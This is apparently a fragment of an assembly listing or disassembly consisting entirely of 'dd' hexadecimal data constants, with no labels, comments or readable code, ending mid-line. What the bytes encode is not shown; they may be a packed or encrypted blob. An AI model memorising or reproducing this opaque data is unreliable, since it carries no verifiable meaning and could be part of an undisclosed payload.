dd 0D9F60E7Ah, 0A2556DEBh, 0DAFE8911h, 88823009h, 0C835C3EDh dd 31A9B70Fh, 96E8AFDFh, 0B0B2F3D1h, 0E091BE04h, 0E72BD264h dd 186809C1h, 711A24Ch, 3DD00B7Dh, 0DA440502h, 62891054h dd 9829C82Fh, 0C77BC081h, 242799EBh, 523CC19Fh, 0B70C68FCh dd 0C916B0A2h, 1058009h, 14661975h, 605F181h, 0ED05864Dh dd 0BF773C0Ah, 0C02B49Dh, 48B55159h, 5AE9619Fh, 0E1B79F1Bh dd 0F53411Eh, 0EDAEB8C4h, 0C992DF95h, 16BE1352h, 0BD60AFEBh dd 0E6038BB9h, 503900Fh, 18219FE1h, 5DA0BE65h, 0B2077F1h dd 836851E4h, 46A730D5h, 30D7240Ch, 0A05B16A3h, 3A276E77h dd 79ABF560h, 1331675h, 5F84F3Ah, 9207E2C1h, 0A2BEF1AAh dd 27C14CE0h, 0BFE16433h, 0E90987E5h, 0A84FAC69h, 0B5A9006h dd 3C6F2C4Bh, 26DAA1FDh, 5620B93Ah, 31C338CEh, 0A403A4h dd 0F9544B3h, 5E13F101h, 0CFA0D9E9h, 0F6D9849h, 6B8F1DA6h dd 0E6441792h, 0EA614B2Fh, 5901762Bh, 0E4057129h, 59B7A7F0h dd 0D4B6C2ADh, 0E99AC7E0h, 5F0A4838h, 90712CFEh, 74B85F04h dd 65E10BE9h, 13079ADCh, 0E021487Ch, 8690CF1Bh, 0ED7E3841h dd 608CD654h, 0E8C832E9h, 0D77EEA93h, 972B94A7h, 0E9841359h dd 41BA3AB9h, 0D9C2E20Dh, 0F740A5E8h, 6D741689h, 7F66DD09h dd 0C168BD18h, 0CE30165Fh, 78090D58h, 0E9F93D71h, 2D1E36B0h dd 0D23D14F8h, 152F21h, 8B685D99h, 0A417B144h, 0AD50036h dd 9BE77C3h, 112D9AEAh, 836BFC31h, 96FC1583h, 4FAEEDB0h dd 80A3C07Ch, 4208B441h, 1B7A428Ah, 82892444h, 6E6D7C80h dd 1CB030C8h, 28361916h, 0BACE12AFh, 0E1BC0E84h, 0BC79E513h dd 84A592D2h, 60484AFAh, 81C5AE64h, 574F60B7h, 5E1C4EBEh dd 534D684Fh, 0D4BEC164h, 0BA85FEF1h, 0BE5FDCB8h, 0E85C352Ch dd 9457953Ch, 0EDD6262Bh, 92542D8Bh, 91FB87CFh, 5A6826B8h dd 0FA29AC64h, 0BB96DB87h, 5DFC0ABh, 0B9267A09h, 2D147964h dd 3CE14B07h, 3079C536h, 80121A62h, 500956C9h, 30692D68h dd 5E883A76h, 6938BEF0h, 288A272Ch, 530983DEh, 8190FFC2h dd 82274A9Bh, 6A6A7779h, 0C97AB002h, 814AF606h, 0EB483AD6h dd 16C9E11Eh, 0C72528EDh, 4C07C920h, 12D8862Dh, 5080447Eh dd 4F08EE54h, 20AAA6B5h, 0A85B5A62h, 3182B4E2h, 0E1F48B0Ah dd 0C86F597Eh, 4B4A78CBh, 30137DEEh, 0DAA0F4BCh, 74B6668h dd 13E9E928h, 0AEFEFBCEh, 0C1EC1E6h, 0F60607C0h, 80CCF0DCh dd 0EBE62FC4h, 209BE258h, 0C98103C8h, 0D9716F2h, 0D5DDC0B7h dd 899586B3h, 45740F13h dd 88FF995Bh, 0C23D81FAh, 6B310509h, 0B404CA01h, 56090E4Eh dd 94D07D89h, 6B22D995h, 0D6A0C76Eh, 6D371B3Bh, 0F2CBEA2Fh dd 0B97729F1h, 4455A7C4h, 0C2F65E8Fh, 0FE715A4Dh, 5037E1AEh dd 6872C51h, 0A443FF2Eh, 79FA6354h, 0F17FE10Ch, 457068ABh dd 0F03759CAh, 79B74B75h, 0DABD813Eh, 31572362h, 0E9060119h dd 70C52BE6h, 68F1F9ACh, 2C126F25h, 81F73DABh, 3BED6870h dd 3B3031E4h, 886A4082h, 7366C724h, 901D190Bh, 8135720h dd 0FA01C602h, 0A7FAFAA7h, 88BF08D8h, 0DCC95617h, 0F20DCD6Bh dd 77F40B5Dh, 0E909E547h, 2FBD211h, 4EC7E4EAh, 24189B9h dd 6801FC83h, 1963E62Dh, 5065A37Dh, 0B154F92Bh, 3A7DE9h dd 805B6620h, 4C909CCBh, 0D9082914h, 5166B0A8h, 85C9BDF6h dd 685B58ECh, 0B233B12Fh, 0F20581A4h, 0C47B8E05h, 2BD9E1CAh dd 6882F0E9h, 61A71C1Bh, 0E1DD9957h, 3F645F14h, 0A62C4A44h dd 12631945h, 0E935C12h, 28C64A1Fh, 458A12E8h, 0A986B723h dd 188FD44Dh, 0CAB529DCh, 331B273Eh, 20039C56h, 60CBD11h dd 0F112F00Ch, 41FE80DCh, 0B2B054BAh, 0CCCDC972h, 69471472h dd 5E764FE0h, 5E8F9F1Ch, 72606A69h, 769518B1h, 0FB2C0BA3h dd 527BB0DDh, 801B0BB2h, 6AFEDBE2h, 0E96CF203h, 93EBEBAh dd 3BD6858h, 5F4AFA44h, 291640A3h, 9CD8EFF8h, 3CF56B20h dd 0EB2F21DDh, 0C06A5B74h, 0A77FE21Ah, 3B1775Dh, 9D769BE6h dd 0C0F6B048h, 692E267Ah, 0A070218h, 0B1E4E7DEh, 98082B2Ah dd 2D72DD0Bh, 0BD0E7D38h, 6A430B1Fh, 5D3BBB00h, 0E9340D91h dd 0CC04BF8Fh, 80EC87BEh, 840329E5h, 0EF5DE9C9h, 8A4B44EEh dd 0F3090796h, 25A7D2h, 0DCC6855h, 0D8789F2Dh, 0EAD901A2h dd 0AAE946F9h, 6A326A74h, 58CB69C5h, 0D5EBB647h, 1FBEF490h dd 37183418h, 0D3D08FEh, 0EED11B46h, 2F963010h, 32811652h dd 7F457DE5h, 55F1950h, 35F59000h, 0B0F40956h, 125B0568h dd 0C429744Dh, 13A1BE53h, 84E90B00h, 703194F5h, 483B2968h dd 0F75A04EFh, 0F98042DAh, 7E35B40Ch, 84659CACh, 0EB23CDE9h dd 0FC6AA8C9h, 6C731C79h, 0B8E90B21h, 0F6802E21h, 454DE09Dh dd 0DC8710C9h, 6C50031Ah, 0C38663Dh, 96FB9240h, 0E91C20FAh dd 30C052A2h, 8468C331h, 0F9189551h, 4892A1Eh, 465FF2Ah dd 0D742B013h, 0F51E7868h, 0E92AC034h, 2C27F78Eh, 0E95D50D6h dd 950A3D60h, 864069DCh, 12CA80DAh, 4E2C02Ah, 0BDD02C73h dd 8204D36Fh, 2D093CBAh, 416442FFh, 0BF008374h, 6948140Bh dd 16CF021Ah, 7562576Eh, 4C49CFE0h, 0E94F150Bh, 0C2AD625Ch dd 48214262h, 4BDE683Ch, 5058A64Ah, 2F90F9FEh, 0A9381B4h dd 0E44D715Fh, 81201AE8h, 0C33760Fh, 6B3E6845h, 274A83F9h dd 93C9195Dh, 889AF7CDh, 98EE7075h, 2CDF4020h, 0D031F677h dd 0D9F70EE1h, 913C5A8Eh, 0F1A6FE4Fh, 0EA2DB7FBh, 129A755Dh dd 0F0DAF275h, 685E13F2h, 3A17B19Eh, 11FFFE7h, 0FA1CEFBh dd 54B2AE12h, 0FCC408A4h, 0AA1D1D26h, 0A4C14DD7h, 0ECF39EB0h dd 0CEEE6E94h, 3168827Bh, 0CE92A342h, 0F15D5178h, 80200720h dd 0F9BE565Eh, 4AEA4E58h, 6896C8FEh, 1B234F27h, 80C325Ch dd 0ECA3015Ch, 0AE24595Ch, 5E932128h, 15AB060h, 8C5CC977h dd 0D0F66923h, 6461FBB9h, 0AB252D9Dh, 9F72F46Ch, 0ECC18951h dd 930C67FDh, 0D6E1A202h, 0D84158B2h, 4B9368D0h, 8FB7E817h dd 644CD55Eh, 0E904312Ah, 0FA54BB0Bh, 92B800E9h, 52A195Fh dd 0F8111316h, 0C26E91E9h, 4F253B67h, 22CF9E81h, 0C105C786h dd 17320847h, 0B42C76h, 5859CB88h, 1CEC5A72h, 0E0D8875Fh dd 0F5E74D71h, 68B01858h, 71BD0751h, 833CEAD5h, 77845D13h dd 2978F3F0h, 24A163Bh, 0FC2D95E3h, 4603FD28h, 0C7F7D10Dh dd 5D0ED0EBh, 4F05BD26h, 1242211h, 270841BAh, 703DA357h dd 7DE2239Fh, 5DC030F5h, 0D40184BDh, 0CB27D2AEh, 542593F0h dd 6C825158h, 0DBE8952Eh, 1EB9684Eh, 6083A205h, 53F0EB9Eh dd 160C9C80h, 43C9E029h, 0F5FA1341h, 0DAFDFBE2h, 12BE74Eh dd 21B9CFE4h, 4C0CF492h, 0F5822794h, 0D5BDF7A9h, 0E075C262h dd 9A2FE911h, 9DC0B76Fh, 50AB2E32h, 61F2FBC5h, 8566B792h dd 0F64474E9h, 8180C580h, 1FC059EFh, 0D35205E7h, 5397A0DDh dd 1ED6E195h, 0D2446Ch, 7C7F6F35h, 0CA05814Bh, 36F56D5Bh dd 8CB687EAh, 0A14ED734h, 288773FBh, 4BFD8Ch, 0E633B2BBh dd 0BD5B5F53h, 0F5975850h, 0E175B892h, 0A935E383h, 69E1B201h dd 7EC3A26Bh, 14939225h, 0F5EB0596h, 862D077Bh, 8806ABAh dd 8A9F15E9h, 0BD61A568h, 29E07027h, 0B25DF6EEh, 9C569580h dd 8D64CE1Fh, 31805608h, 1447FDAh, 0E6C508B4h, 0FB81A620h dd 1660CA3Eh, 47F82812h, 414FF0F1h, 480A29h, 913CA668h dd 0CBE0AD88h, 719DAB98h, 2D6D8283h, 28D92BD1h, 0E023545h dd 0AE12B1E9h, 85FBD788h, 538BEEB3h, 5E31AA4Eh, 0C9843BDBh dd 825F10E5h, 0A7404D19h, 1C5409FDh, 7117F8B0h, 67243693h dd 19D20810h, 0EF4329CCh, 55E8FC6Eh, 42EC09B8h, 0E6C6E22Fh dd 2DC0504h, 84B82399h, 3667850Ah, 597C428Eh, 607DBD00h dd 8E1A6F6Eh, 0C1161463h, 5EEE7E4Ah, 2D771932h, 9A9D40Eh dd 0BFEB2129h, 41E94360h, 83469FC3h, 0C08294F0h, 9593B336h dd 0FA6C15DCh, 0B33B03Fh, 1048CCCBh, 0A3E8248Fh, 43966804h dd 6FAB3DFEh, 0E905D7F8h, 0BBFEF0A5h, 37F85253h, 5D68F87Fh dd 0C70748B7h, 0AF3E331Dh, 467FC213h, 0ACE52F41h, 878B0E38h dd 7538DDCFh, 0B9B0D0B3h, 58F0365Ah, 0F5C2826Bh, 610982C1h dd 7DB22E84h, 0A684B890h, 0B6B940CDh, 2119B3Eh, 7236BE56h dd 8ED54D84h, 93BE923Dh, 7BC1402Ch, 505685E4h, 61E8D088h dd 0BB584965h, 0DE802BC4h, 336EB9E2h, 3A0C4237h, 207C47F1h dd 0C139F08h, 0A70235E0h, 7F7842EAh, 23A6D801h, 5DE2FA98h dd 80A0CC2h, 72F2015Ch, 30BC7BF9h, 14383A3Ch, 351860C7h dd 0C21D6246h, 2942ED75h, 8AB8AE82h, 75D68702h, 50D4EF9Ah dd 2C0C11Ch, 16E2CE81h, 0B84E50A0h, 0FCFAB708h, 0C1DC9ECh dd 0C18169EEh, 0DDD4BF3h, 6655D86Bh, 0A2479B7h, 288AE3F1h dd 202F41Ah, 0D8312DF6h, 71F5295Bh, 0AFCA6927h, 17FBC92Bh dd 4B6871CCh, 0BA22C437h, 78E160ECh, 0C4997CD7h, 0BA00647Bh dd 262A5FBEh, 0F77B4A0h, 0B2719028h, 0B8FB9A00h, 5A2C059Bh dd 64255806h, 8050851h, 48B1C516h, 5301CB3Ah, 0C680B2Dh dd 0E27F5E3Dh, 0B900068Ah, 5A996046h, 3A6DE828h, 0FDD325D9h dd 0F51E0Bh, 2F33C9F8h, 60525C25h, 4C3E8E0Ch, 0C29F3444h dd 58C3454h, 16734605h, 54BF0044h, 0E9485718h, 0A4122A5Fh dd 0C3E582EAh, 11DA4FC1h, 692902EDh, 0AAECFDE3h, 357DF4CBh dd 0AB46409Ch, 6855CE07h, 8A6ACDF1h, 0EAD33A32h, 975EEBF4h dd 6284BA57h, 24A57A40h, 122E2CFh, 25210A05h, 2F23313Bh dd 0EB024BE6h, 2E1829ECh, 7408780h, 289749A4h, 0E52608C4h dd 28842216h, 83B299ECh, 15C8DD29h, 4F3A1368h, 0D65A7A84h dd 5BD7B00h, 0A00C8D54h, 90EF8C8h, 0C53143A9h, 0F9E5F407h dd 2D54C980h, 2CF9A811h, 0F7DA0D38h, 0CF4008DBh, 25578495h dd 6E570199h, 20A88658h, 92F88FAh, 14EF0C8h, 2D6CB219h dd 937195B9h, 82AF9896h, 47E3485h, 58BF5770h, 0C45BF515h dd 24BB1C91h, 8EADBBF9h, 0F57DADD2h, 0E23D762Fh, 9BDF094h dd 62D68D7h, 75F688E0h dd 9BDCC117h, 0FE20C456h, 5AB655B5h, 6A22FEF3h, 60DD8B5Ch dd 72045964h, 908FBFFEh, 0AAC39184h, 0A3EBB321h, 2CC2E793h dd 0A5EF5209h, 5ADBC914h, 30BDD082h, 68FF31C4h, 2D3585A7h dd 3A8B4156h, 3DDE18DFh, 7F843E64h, 1351D7ACh, 5E9AED0Eh dd 922D5FF8h, 0F237EF7Eh, 0ED53DD57h, 0E90A3F58h, 0FBD225AFh dd 0E22004B8h, 342863A4h, 0E7E9D4EDh, 342F3655h, 0B0EFAF5Fh dd 0CAF86C35h, 1961D58h, 70BC7AE5h, 0FEC985E9h, 414FD677h dd 0F6010549h, 363D4CEh, 0CA53B1DEh, 7AD4B5BFh, 0D2DFD0A2h dd 5F68AC38h, 0B2C437E9h, 8B35FBA4h, 0C9B4C81h, 0EA340103h dd 31BC2364h, 6E1E80A4h, 38609658h, 21493FC2h, 17E91A34h dd 0FE425799h, 0FA06B45Ch, 99EEF38h, 0D7E4CF7h, 8E78A03h dd 0F34FDFC1h, 8DA3C2F8h, 0F5E06F4Eh, 6D510E2Dh, 0E9B36BFFh dd 2BE909C9h, 2EC664D6h, 87E5FB1h, 0BE1E7295h, 47E31C84h dd 0F52081FBh, 30E63E03h, 0EE0D6D16h, 3CAED124h, 0A128E95Fh dd 459FC3E0h, 13A22782h, 0B1007183h, 3DD9F6BFh, 6093C9FEh dd 0AB4A52F7h, 95BED5C6h, 0A400DF5Eh, 5D5BF951h, 68F80B29h dd 17D119CBh, 771D838Bh, 0CB053A14h, 1BAE29D2h, 4EBF02AFh dd 0B5FF85Ah, 0BD5596E9h, 75690359h, 255F9911h, 0FA40EEECh dd 0C49EF1C7h, 4067162h, 4DD2FE58h, 0D598DFA0h, 682DD901h dd 696F56B8h, 0D29C84h, 0AB565DBFh, 0FFFAA2B4h, 0D2E9A9E1h dd 2912345Ch, 0F7EFCB0Bh, 0CC7A6742h, 0BF4ABB7h, 9D710356h dd 1E163078h, 342001D1h, 1334B57Ah, 0A684BF31h, 583AEDAEh dd 5499B218h, 72712775h, 5F9AE978h, 0BD44A435h, 42BF60F2h dd 0CB7CC038h, 145F1254h, 50DD0176h, 42030859h, 0CCF71798h dd 1F3E3000h, 43E0EBCDh, 0A660793Dh, 0F81064Dh, 19A68C8h dd 0EAD2606Ch, 0A7AA2085h, 65E985CFh, 7766ECB0h, 0F1A2953h dd 0E95FC01Ch, 0F2BE7514h, 0BF10F54Bh, 609FC229h, 3F3D95FBh dd 0F5762B16h, 0D6211C80h, 53DEF75Ah, 1F685100h, 0E909C661h dd 180B9D93h, 55583E5Ch, 13015BE9h, 7D63E7AFh, 7E0D2F25h dd 4A26830h, 80DB7EEBh, 2942C36Ah, 4B6050F6h, 5B08881Ah dd 6A8833Bh, 2BD499Eh, 0D4EA0168h, 1744097Ch, 0D329A103h dd 5A082840h, 3E96E91Ah, 5D6A85E7h, 0B0C25B97h, 1C575286h dd 0C46D27A7h, 0C759CF89h, 0A561BE42h, 0DB7B763Ch, 0F412B3D8h dd 14584948h, 4CA91150h, 0F8E10329h, 0AAE98D3Ah, 2DD565DFh dd 905C5B56h, 0B4DD49E5h, 0B93095Ch, 0BBC0ED24h, 6A5E3968h dd 0E65B0D8Ah, 496210F5h, 764ABD02h, 8B40E5D9h, 0DB582A0Dh dd 28FD3CE7h, 9A008C5h, 98832D63h, 4A372E7Eh, 4B6DA853h dd 0C6D81CE9h, 0F82D3157h, 89EEF65Fh, 11271756h, 226772D1h dd 320904C4h, 0DD7BDD6Bh, 0CB029D59h, 0C06F9576h, 9DFEE633h dd 0B324B565h, 5CE96812h, 0C6F62F77h, 0BD78637Ch, 0AC3A029Dh dd 8BE94561h, 132D0D68h, 32C12F02h, 8F05D829h, 0C5EF9607h dd 0C77D217Ch, 3964627Fh, 7B0F58CEh, 0B0B15940h, 2DCB799Eh dd 51C8C7C6h, 563D2563h, 625AF039h, 4FA8D7B4h, 0FA175627h dd 775FC749h, 71D6AB20h, 892CE6A4h, 0EE1636C8h, 54C0EDFCh dd 0BB3DE569h, 2DABD258h, 0E9B32226h, 4037C73h, 854AE6BAh dd 8D220EA5h, 0C729A86h, 4A24509h, 44F8D76Dh, 2CDED40h dd 2A471E86h, 0AEA4AE9h, 0A791DBF7h, 3A5556DAh, 320541E1h dd 55BC2E2Fh, 1563319Ah, 780C7FF1h, 5E1089B2h, 0B2F12F75h dd 0DD17E4E8h, 2E652087h, 39804CF0h, 8ED0F8E7h, 0ADF66F6h dd 680F067Fh, 0C55BFD28h, 0B1C05CF5h, 974CE972h, 16D5B4E2h dd 21FE25BFh, 68841A51h, 0B9E81830h, 308F29CBh, 5CE781C0h dd 0D2A05F09h, 70186BF7h, 8A0C6F0Fh, 44F50041h, 9DBA5247h dd 11508C4Ah, 350AB2AEh, 0FD51015Ch, 88341900h, 4B20E93Dh dd 0E68ABF21h, 0CAFD1C20h, 27D44C75h, 0DF6233E9h, 85A753F5h dd 0AE365C68h, 25E9792Ch, 47414F3h, 23D37769h, 0B6B156E4h dd 260FDDAh, 0D5822766h, 4F20507Ah, 9979001h, 1E055B3Dh dd 0FB5CC03h, 8A421ABAh, 9557BFABh, 0A054A54Ah, 0B40DC402h dd 744760Ch, 607F0665h, 4F1647CEh, 3EAC295Fh, 7DB3460Ch dd 9D04B224h, 0FCE9EC62h, 0B32E24E1h, 90BFD76Fh, 0FEDBE488h dd 58365E9Fh, 66803AD2h, 19C3ABFh, 0C61EC94Ch, 0F9314203h dd 5B56BCE9h, 4225A7ACh, 0D7547DA7h, 707F6870h, 4EDEBD74h dd 0E613D27Bh, 1602BE7Eh, 9FF1A25Fh, 6B8D652h, 3187B15Dh dd 8CA26D1h, 5C3CFAB4h, 169616BBh, 4829C8DCh, 50B2DDDFh dd 50174B61h, 314BE36h, 963A3928h, 0F749D460h, 76C9A926h dd 0E2C14FA7h, 116F2884h, 6E7F38ECh, 0DEA50F4Fh, 84850804h dd 0FB9FEF0h, 6A751B7Bh, 3B9ECA46h, 6EFEC61Fh, 0E8CD7FDEh dd 8618C1Ah, 96CCA0DCh, 61E86F71h, 3F8B61Eh, 0C3805AF3h dd 5BD881B9h, 0C0AAE27Bh, 68E7B050h, 0C56A53BAh, 0ACC3881Ch dd 25E420F9h, 0B6D66ECEh, 0A02BDE60h, 0F281BD7Eh, 41384C73h dd 352D1306h, 87584091h, 655C396Eh, 0B797104Fh, 7262B84Bh dd 42563016h, 34B0FD20h, 0C1250479h, 834F04E7h, 58B8162Ch dd 9BE6E9D0h, 0A30483D2h, 91FD3B0h, 311ADA8Eh, 72CC7C55h dd 76903743h, 0CAF82EA1h, 270CB817h, 0E9D2B201h, 9C2EFA82h dd 68BDFE16h, 7087E9C0h, 14D79723h, 4ACD9031h, 3761EBE6h dd 0AE3ECD29h, 65AACA65h, 60DE8A2Dh, 8A794C3Eh, 0BF1F81Ah dd 491238B3h, 8EC401FAh, 228073CCh, 601929CEh, 0F42E0C72h dd 0F6B5AE2Ah, 57D1EB6Eh, 8EA508h, 6C01F581h, 217C1AEFh dd 0AF5F18FAh, 331132FFh, 0EB38FBDAh, 652C854Fh, 99FFD901h dd 57D597B5h, 0A6898CCh, 6E785ED9h, 75E90EEFh, 0B7EEEC53h dd 716AB3EAh, 76B82615h, 55A65D4Fh, 0A2365F7Dh, 0DDE87FFDh dd 0F441DBB8h, 5007A07Bh, 32746812h, 6080E589h, 6697017Ch dd 0E175EBAh, 82EA4F3Bh, 22D05471h, 0BD807CFAh, 0D7291476h dd 0A3328860h, 0F9575314h, 0B7B4A06Ah, 0C5BD1EBh, 0E247DDF5h dd 48CA16D3h, 0EAA53C36h, 0D7608C99h, 2758BEB9h, 0ED81D002h dd 4C71ABDFh, 0BE681553h, 61189052h, 3540341Eh, 102DBC09h dd 8195E70h, 6425255Fh, 323A1494h, 0A13BC95h, 4B24A2F6h dd 5E488BFh, 2F0E7597h, 2CA0EAB2h, 0B55972Dh, 16A25E36h dd 1DEA87BEh, 0A6B74297h, 0C9A7E3F1h, 0BF28366Ch, 0BAF95825h dd 5F5A0580h, 28011D99h, 0B5072DD8h, 4534D200h, 0E927263Ah dd 9813DD74h, 0D313D8C3h, 0F3AF015Fh, 4AB9083h, 6EB12316h dd 85F9ACBAh, 34F7A1F4h, 5A21F35Eh, 0C9ABA8C5h, 0BE28208Eh dd 0CF38180h, 4E6B3BDBh, 31EA820Ch, 0EA01627Ch, 37846A7Fh dd 4E80DA29h, 76528B3h, 0F5271E9h, 130449BFh, 5D90973Fh dd 7BF26C35h, 12A94F73h, 3E75EF8Bh, 0C89E3AAh, 8F3894E9h dd 0E59C0FC5h, 93645F3Bh, 0DFA29269h, 44D56D6Ah, 0AF304B84h dd 0CED05D9h, 31657DFAh, 28645AADh, 0F5D8F3B4h, 410CF242h dd 0FD3E30D3h, 22EC44Ch, 688389FCh, 1B126E7Ah, 98EA3394h dd 0D54AF7E7h, 0E93021FBh, 3EBB28C4h, 3B503168h, 0B36BA1A7h dd 80691F7h, 242889E9h, 0FD296112h, 5BC2A5Fh, 9D5EDB4h dd 0E6485B68h, 80B34AE3h, 0EAEE8049h, 5AF58812h, 0FB0E580Bh dd 8F98BD7Eh, 49F0AFDDh, 0B42D6688h, 2B584972h, 292EFB7h dd 0CA6DE95Dh, 2DA3C10Bh, 48424DF0h, 0C6060A3Bh, 26A61751h dd 0C3BBD24Ch, 91F08950h dd 789658C2h, 0C4E3BC0Bh, 82CC546Ah, 1B99B59h, 5A5005BDh dd 4183602Bh, 0B0BF28D3h, 491EB2E7h, 49B12E1Ah, 0D1A80C2Ch dd 0F9B9057h, 77EB3AFEh, 0CDF0B6CBh, 96D3883Bh, 0D2B346C3h dd 616EA5Fh, 7B8090EFh, 1F4A9C60h, 82CAE2F1h, 0F4386808h dd 9D7886Ch, 0CAA85E12h, 6D4A52CBh, 19308901h, 787F2051h dd 0B03D249Ah, 1E6FCC14h, 386EF80Bh, 0E3190C60h, 0A8BDA342h dd 0E17D449h, 718FE581h, 0A0003E4Bh, 5C60728Ah, 0D412629Fh dd 8F6B66B1h, 0E342595Bh, 419716C6h, 9ECCF1F9h, 892A257Bh dd 252CEC57h, 0F17431C2h, 0C75A842h, 7E1E456Ch, 9C84DEBh dd 0C9FE006Fh, 82AC180h, 0C059CE07h, 6F9E04EEh, 7B7FDEFAh dd 0C6381D78h, 48F0240Ah, 270BC508h, 5A6D14DFh, 0A4DAC5B5h dd 2DF19B02h, 9A08D2CEh, 2D82613h, 51396111h, 0ACB76360h dd 51A0116h, 42552BFh, 0EACFE9C6h, 160BC9A9h, 2480D122h dd 0D4552CF6h, 0CB184560h, 0B8B11B8Dh, 5EA84E6Eh, 21896756h dd 0FAFCC1DDh, 0FCF0EB04h, 6D50485Fh, 0B9070720h, 23AC29A6h dd 7E53ADA2h, 0BB77646Ah, 282D4E16h, 0EA43577Ah, 57E9A6C5h dd 0B604AB5Fh, 0E9035C01h, 0C70E1039h, 0DF6D42CDh, 3EDC147h dd 0EFE8619Eh, 562F0FBFh, 0A3C3AF42h, 51A4165Ah, 212CBA3Ah dd 34E75E29h, 0D9A782C4h, 0BCED86E8h, 1C2F4716h, 0C1805CBBh dd 51F12AA1h, 0CBF06FC1h, 7A4741C7h, 0E06FFDA1h, 36241ED9h dd 0A7077660h, 7F49B7A8h, 0D54F2BD0h, 2F5516BCh, 0EB2BB07Ah dd 0CB73563Fh, 0B44BDBF2h, 889DDA11h, 0F089B346h, 8386D98Ah dd 4F2FB3BFh, 0E8B6E587h, 2008D28Ch, 685100C1h, 299935BCh dd 75015924h, 6441E941h, 0D1268369h, 0F4DC9793h, 2541CB8Dh dd 8A42B06Eh, 9C1D03Dh, 21FF3B9h, 0CADEE9CBh, 0F6945F2Ah dd 31847DB6h, 0E9BB8BC8h, 57E9F0DFh, 0BDD492A2h, 0F482B4F4h dd 433C5045h, 3065B04Dh, 1DE3BF78h, 1C081AF5h, 1100140Bh dd 57A24AE3h, 0E0B5190h, 5206FC17h, 8DD19742h, 25E95950h dd 0EBE8A1DBh, 8180EFE2h, 852409F5h, 0BAD474C0h, 0F36C970Bh dd 54568BEFh, 460B9373h, 0CF652706h, 28A83B74h, 32F0EB92h dd 484A61B9h, 9306EBC0h, 15E80774h, 6FF4562Fh, 51BE5DD2h dd 0EFEDE92Ch, 0D3FB94BAh, 92C446D3h, 54A46DE8h, 0B8323787h dd 0CA75EAFFh, 9EDA4074h, 5BF0947Dh, 97FD2EAh, 0C5F975CDh dd 9DEC5F69h, 0F764E918h, 915BD30h, 1318F2Dh, 20DCE475h dd 0E1E0AD02h, 3E2E92B0h, 0FEA5B591h, 0FDC74325h, 4A68E00Bh dd 0B930DD70h, 8282DAB0h, 5555AA6Eh, 3680630h, 0C5CC5C4Fh dd 0FD144B2Fh, 7DC89058h, 0F82F12A4h, 5AB1FE7Ah, 95770BE2h dd 4288A4E8h, 82091640h, 9FE215Ch, 0B51066D7h, 97A0FA44h dd 0C97038FBh, 8A0BBBCh, 0D1EB0CD2h, 53783CBh, 4BC62C88h dd 3D70AAE5h, 0C927F668h, 7D057BDh, 0F09DC5E0h, 0E9924E67h dd 619775CAh, 57001F7Ah, 68136655h, 0EDF76CC6h, 0FD2EE758h dd 0C6B8082Bh, 0FB146432h, 88554AADh, 551D4217h, 0C68CA7BBh dd 882F209Dh, 29E5809Dh, 984A4814h, 427509B1h, 28727971h dd 3AE79805h, 65C231C7h, 4C3ED0CCh, 0C584765Fh, 89BE1306h dd 3BAFED78h, 16105914h, 5735D094h, 5A91C388h, 4E39FB7Dh dd 85C4BD6Eh, 8290BD95h, 5EB423E1h, 0C14D0052h, 0F3820D41h dd 0B431297h, 8E6155DAh, 5D43E58h, 7925E8AAh, 0F1B85002h dd 0DF20CD16h, 6E40F1EAh, 46EA30CAh, 2B4E2875h, 51E0FB8h dd 34A2CF8Ah, 0AC278DA3h, 0E92752AEh, 5A90E114h, 5418B6Bh dd 614B4E19h, 51A185C0h, 0C5067A6h, 0AE96C46Bh, 82D7CB0Fh dd 0C231547Bh, 7A15F011h, 0F02580B8h, 66B50600h, 5E5F0B05h dd 5AD9FEF1h, 0C28FB815h, 5F610E68h, 8275DE7h, 0F030D470h dd 448478CFh, 8D34068h, 0CC4DB004h, 1C565E0Bh, 0DAA4D5C4h dd 0A116028h, 0B353C1FEh, 0D94A1F79h, 0B1F3F661h, 86965D02h dd 0F9EDF9Dh, 0B607CEA0h, 2E80C6B4h, 21DFDE3Eh, 4C63FAF2h dd 56A00638h, 691F16BEh, 0E6004D07h, 3C4313DBh, 0CC6BF768h dd 0B9075149h, 1BE66BCAh, 0FF59CD92h, 5DD90348h, 2CF57CFh dd 0C365EA43h, 6804A4D7h, 0D6CAB57Eh, 0EB0FDF0h, 21FA5B31h dd 0AD11230Dh, 0C1F22D96h, 18746855h, 0D1C08678h, 0F7509941h dd 0CCC1DB2Ch, 1D3AF3Ah, 0F50994C7h, 0DD7A902Eh, 0FCB25DE9h dd 2FBD5502h, 0E0657D16h, 2D1FAFC8h, 0F9F0050Ah, 9D01CFD3h dd 4D2754EDh, 2920002Bh, 0CB9AE9D1h, 8C4FDE9Dh, 4952D0A9h dd 0E34122B0h, 0A57E62Eh, 9F086A68h, 76F0BD60h, 756E5C65h dd 5D4BEE20h, 0B4B75BECh, 0B8CFFBBh, 0F6751F60h, 402A5767h dd 1FE305A7h, 12C4089h, 82088C8h, 7FC6C2BDh, 0F1B77914h dd 0A07E4417h, 0E20481DAh, 7D1F0FA8h, 73BFC0AFh, 6A022565h dd 0C7E9D089h, 2A1855C5h, 3B9915A3h, 2351DAA8h, 1BA97B86h dd 7E5E808Bh, 559DD9A0h, 36BEC61Eh, 0B24ECA91h, 73DE109Eh dd 84685305h, 0CBBAE81Ah, 5A12246Ch, 0DBC544EAh, 0E3800032h dd 0C4FE533Fh, 94D6D47h, 0DA325D29h, 0A1096BDAh, 0D534697Ch dd 0E91628E4h, 4B8D97BAh, 13579F1Ch, 20C670E9h, 3E2A838Ch dd 6B270A7Bh, 9C97D5A5h, 564B0C2Ah, 0C9639B83h, 0C5CB5957h dd 0C9E62D81h, 0D07D0502h, 71E88C3Bh, 371AC440h, 1C18187h dd 0C57F43B2h, 0B699D19Fh, 0E4BDF4D8h, 8BB8FE5Eh, 0FF128C85h dd 8DCFF721h, 96550B07h, 0CD48D456h, 96C1F341h, 0E8006D62h dd 8149636Dh, 1A18E2C2h, 8E0C7554h, 0C09F27A2h, 0A1E283FFh dd 8017841Dh, 0F031E0DAh, 0B148B6F8h, 0E7EE8099h, 5A7B562Dh dd 6C258001h, 475BB22Bh, 8101B6A9h, 5B66ECEDh, 2ADB2009h dd 5D756E05h, 0B1C4E5D1h, 2BC3E4EAh, 169E581Eh, 6EB18FD2h dd 6F895BE0h, 0E0616AFBh, 9D534D46h, 0CF49130Ch, 0AD287747h dd 20BE2008h, 5E2EAEC0h, 593D3189h, 6D7C06A4h, 514E6943h dd 0FC6007EFh, 49540FCh, 13A1984Eh, 4C8182D2h, 0AFBB539Fh dd 0DA770C89h, 77EAEB09h, 0AC6255D1h, 0F65FD6Fh, 